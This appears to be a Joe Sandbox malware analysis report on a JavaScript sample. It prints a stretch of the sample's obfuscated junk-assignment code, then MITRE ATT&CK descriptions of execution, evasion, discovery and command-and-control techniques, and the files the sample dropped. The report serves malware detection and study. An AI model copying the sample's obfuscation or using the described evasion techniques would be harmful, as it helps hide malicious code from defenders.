1181	fnprtija = "z";
1182	fnprtija = "I";
1183	fnprtija = "Y";
1184	fnprtija = "Z";
1185	fnprtija = "G";
1186	fnprtija = "c";
1187	fnprtija = "C";
1188	fnprtija = "O";
1189	fnprtija = "t";
1190	fnprtija = "D";
1191	fnprtija = "M";
1192	fnprtija = "G";
1193	fnprtija = "b";
1194	fnprtija = "o";
1195	fnprtija = "G";
1196	fnprtija = "o";
1197	fnprtija = "w";
1198	fnprtija = "U";
1199	fnprtija = "F";
1200	ienql = "K";
1201	ienql = "d";
1202	ienql = "P";
1203	ienql = "i";
1204	ienql = "l";
1205	ienql = "Q";
1206	ienql = "L";
1207	ienql = "K";
1208	ienql = "w";
1209	ienql = "i";
1210	ienql = "o";
1211	ienql = "m";
1212	ienql = "q";
1213	ienql = "c";
1214	ienql = "u";
1215	ienql = "r";
1216	ienql = "c";
1217	ienql = "q";
1218	ienql = "e";
1219	ienql = "P";
1220	ienql = "a";
1221	ienql = "L";
1222	ienql = "C";
1223	ienql = "u";
1224	ienql = "V";
1225	ienql = "X";
1226	ienql = "w";
1227	ienql = "R";
1228	ienql = "u";
1229	ienql = "e";
1230	ienql = "l";
1231	ienql = "Y";
1232	ienql = "w";
1233	whxfqu = "R";
1234	whxfqu = "h";
1235	whxfqu = "e";
1236	whxfqu = "C";
1237	whxfqu = "W";
1238	whxfqu = "B";
1239	whxfqu = "i";
1240	whxfqu = "L";
1241	whxfqu = "p";
1242	whxfqu = "l";
1243	whxfqu = "y";
1244	whxfqu = "N";
1245	whxfqu = "P";
1246	whxfqu = "v";
1247	whxfqu = "a";
1248	whxfqu = "g";
1249	whxfqu = "D";
1250	whxfqu = "g";
1251	whxfqu = "Y";
1252	whxfqu = "w";
1253	whxfqu = "E";
1254	whxfqu = "c";
1255	whxfqu = "I";
1256	whxfqu = "K";
1257	whxfqu = "W";
1258	whxfqu = "i";
1259	whxfqu = "z";
1260	whxfqu = "k";
1261	whxfqu = "2";
1262	sdliwqlgj = "F";
1263	sdliwqlgj = "o";
1264	sdliwqlgj = "y";
1265	sdliwqlgj = "D";
1266	sdliwqlgj = "L";
1267	sdliwqlgj = "X";
1268	sdliwqlgj = "F";
1269	sdliwqlgj = "y";
1270	sdliwqlgj = "v";
1271	sdliwqlgj = "T";
1272	sdliwqlgj = "P";
1273	sdliwqlgj = "P";
1274	sdliwqlgj = "m";
1275	sdliwqlgj = "h";
1276	sdliwqlgj = "U";
1277	sdliwqlgj = "L";
1278	ezcszk = "s";
1279	ezcszk = "b";
1280	ezcszk = "B";
1281	ezcszk = "e";
1282	ezcszk = "l";
1283	ezcszk = "C";
1284	ezcszk = "k";
1285	ezcszk = "e";
1286	ezcszk = "S";
1287	ezcszk = "n";
1288	ezcszk = "R";
1289	xgfwscwwh = "Z";
1290	xgfwscwwh = "d";
1291	xgfwscwwh = "l";
1292	xgfwscwwh = "U";
1293	xgfwscwwh = "x";
1294	xgfwscwwh = "F";
1295	xgfwscwwh = "t";
1296	xgfwscwwh = "R";
1297	xgfwscwwh = "A";
1298	xgfwscwwh = "x";
1299	xgfwscwwh = "J";
1300	xgfwscwwh = "i";
1301	xgfwscwwh = "A";
1302	xgfwscwwh = "U";
1303	xgfwscwwh = "V";
1304	xgfwscwwh = "i";
1305	xgfwscwwh = "e";
1306	xgfwscwwh = "S";
1307	xgfwscwwh = "p";
1308	xgfwscwwh = "V";
1309	xgfwscwwh = "c";
1310	xgfwscwwh = "s";
1311	xgfwscwwh = "V";
1312	xgfwscwwh = "i";
1313	xgfwscwwh = "r";
1314	xgfwscwwh = "D";
1315	xgfwscwwh = "z";
1316	xgfwscwwh = "l";
1317	xgfwscwwh = "p";
1318	xgfwscwwh = "n";
1319	xgfwscwwh = "h";
1320	xgfwscwwh = "q";
1321	kggrylv = "V";
1322	kggrylv = "I";
1323	kggrylv = "E";
1324	kggrylv = "r";
1325	kggrylv = "l";
1326	kggrylv = "V";
1327	kggrylv = "u";
1328	kggrylv = "L";
1329	kggrylv = "H";
1330	kggrylv = "N";
1331	kggrylv = "t";
1332	kggrylv = "f";
1333	kggrylv = "R";
1334	kggrylv = "k";
1335	kggrylv = "l";
1336	kggrylv = "E";
1337	kggrylv = "B";
1338	kggrylv = "j";
1339	kggrylv = "S";
1340	kggrylv = "A";
1341	kggrylv = "l";
1342	kggrylv = "K";
1343	kggrylv = "S";
1344	kggrylv = "G";
1345	kggrylv = "p";
1346	kggrylv = "K";
1347	kggrylv = "F";
1348	kggrylv = "I";
1349	kggrylv = "M";
1350	kggrylv = "F";
1351	kggrylv = "H";
1352	kggrylv = "A";
1353	kggrylv = "S";
1354	kggrylv = "f";
1355	kggrylv = "s";
1356	kggrylv = "m";
1357	kggrylv = "r";
1358	kggrylv = "S";
1359	kggrylv = "F";
1360	kggrylv = "D";
1361	kggrylv = "r";
1362	pwvoavsa = "s";
1363	pwvoavsa = "P";
1364	pwvoavsa = "q";
1365	pwvoavsa = "v";
1366	pwvoavsa = "R";
1367	pwvoavsa = "i";
1368	pwvoavsa = "g";
1369	pwvoavsa = "Z";
1370	pwvoavsa = "W";
1371	pwvoavsa = "C";
1372	pwvoavsa = "d";
1373	pwvoavsa = "X";
1374	pwvoavsa = "X";
1375	pwvoavsa = "T";
1376	pwvoavsa = "G";
1377	pwvoavsa = "m";
1378	pwvoavsa = "x";
1379	pwvoavsa = "o";
1380	pwvoavsa = "F";
1381	pwvoavsa = "q";
1382	pwvoavsa = "U";
1383	pwvoavsa = "b";
1384	pwvoavsa = "P";
1385	pwvoavsa = "O";
1386	ekdhkqb = "i";
1387	ekdhkqb = "D";
1388	ekdhkqb = "O";
1389	ekdhkqb = "e";
1390	ekdhkqb = "j";
1391	ekdhkqb = "k";
1392	ekdhkqb = "n";
1393	ekdhkqb = "J";
1394	ekdhkqb = "A";
1395	ekdhkqb = "V";
1396	ekdhkqb = "C";
1397	ekdhkqb = "A";
1398	ekdhkqb = "E";
1399	ekdhkqb = "C";
1400	ekdhkqb = "v";
1401	ekdhkqb = "q";
1402	ekdhkqb = "L";
1403	ekdhkqb = "h";
1404	ekdhkqb = "D";
1405	ekdhkqb = "f";
1406	ekdhkqb = "A";
1407	ekdhkqb = "p";
1408	ekdhkqb = "E";
1409	ekdhkqb = "w";
1410	ekdhkqb = "o";
1411	ekdhkqb = "r";
1412	ekdhkqb = "A";
1413	ekdhkqb = "Q";
1414	ekdhkqb = " ";
1415	nnomjxo = "d";
1416	nnomjxo = "w";
1417	nnomjxo = "m";
1418	nnomjxo = "v";
1419	nnomjxo = "W";
1420	nnomjxo = "E";
1421	nnomjxo = "a";
1422	nnomjxo = "U";
1423	nnomjxo = "y";
1424	nnomjxo = "m";
1425	nnomjxo = "x";
1426	nnomjxo = "j";
1427	nnomjxo = "t";
1428	nnomjxo = "C";
1429	nnomjxo = "p";
1430	nnomjxo = "I";
1431	nnomjxo = "h";
1432	nnomjxo = "L";
1433	nnomjxo = "U";
1434	nnomjxo = "H";
1435	nnomjxo = "l";
1436	dljrmmxha = "m";
1437	dljrmmxha = "a";
1438	dljrmmxha = "Q";
1439	dljrmmxha = "n";
1440	dljrmmxha = "N";
1441	dljrmmxha = "j";
1442	dljrmmxha = "O";
1443	dljrmmxha = "E";
1444	dljrmmxha = "A";
1445	dljrmmxha = "C";
1446	dljrmmxha = "h";
1447	dljrmmxha = "p";
1448	dljrmmxha = "c";
1449	erpleh = "a";
1450	erpleh = "N";
1451	erpleh = "s";
1452	erpleh = "A";
1453	erpleh = "u";
1454	erpleh = "v";
1455	erpleh = "f";
1456	erpleh = "Q";
1457	erpleh = "A";
1458	erpleh = "z";
1459	erpleh = "E";
1460	erpleh = "Z";
1461	erpleh = "F";
1462	erpleh = "i";
1463	erpleh = "x";
1464	erpleh = "w";
1465	erpleh = "R";
1466	erpleh = "P";
1467	erpleh = "y";
1468	erpleh = "O";
1469	erpleh = "z";
1470	erpleh = "w";
1471	erpleh = "R";
1472	erpleh = "F";
1473	erpleh = "s";
1474	erpleh = "1";
1475	fvxej = "x";
1476	fvxej = "v";
1477	fvxej = "a";
1478	fvxej = "q";
1479	fvxej = "L";
1480	fvxej = "d";
1481	fvxej = "M";
1482	fvxej = "m";
1483	fvxej = "L";
1484	fvxej = "X";
1485	fvxej = "o";
1486	fvxej = "p";
1487	fvxej = "i";
1488	fvxej = "h";
1489	fvxej = "e";
1490	fvxej = "B";
1491	fvxej = "A";
1492	fvxej = "S";
1493	fvxej = "J";
1494	fvxej = "F";
1495	fvxej = "i";
1496	fvxej = "W";
1497	fvxej = "w";
1498	fvxej = "w";
1499	fvxej = "r";
1500	fvxej = "I";
1501	fvxej = "H";
1502	fvxej = "w";
1503	fvxej = "E";
1504	fvxej = "e";
1505	fvxej = "Q";
1506	fvxej = "E";
1507	fvxej = "h";
1508	jwekdelu = "k";
1509	jwekdelu = "t";
1510	jwekdelu = "P";
1511	jwekdelu = "w";
1512	jwekdelu = "B";
1513	jwekdelu = "x";
1514	jwekdelu = "x";
1515	jgplea ( );	jgplea() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2851627061208688962.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0393b021-8ea7-4b6f-915b-dc88b071921c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
2851627061208688962.js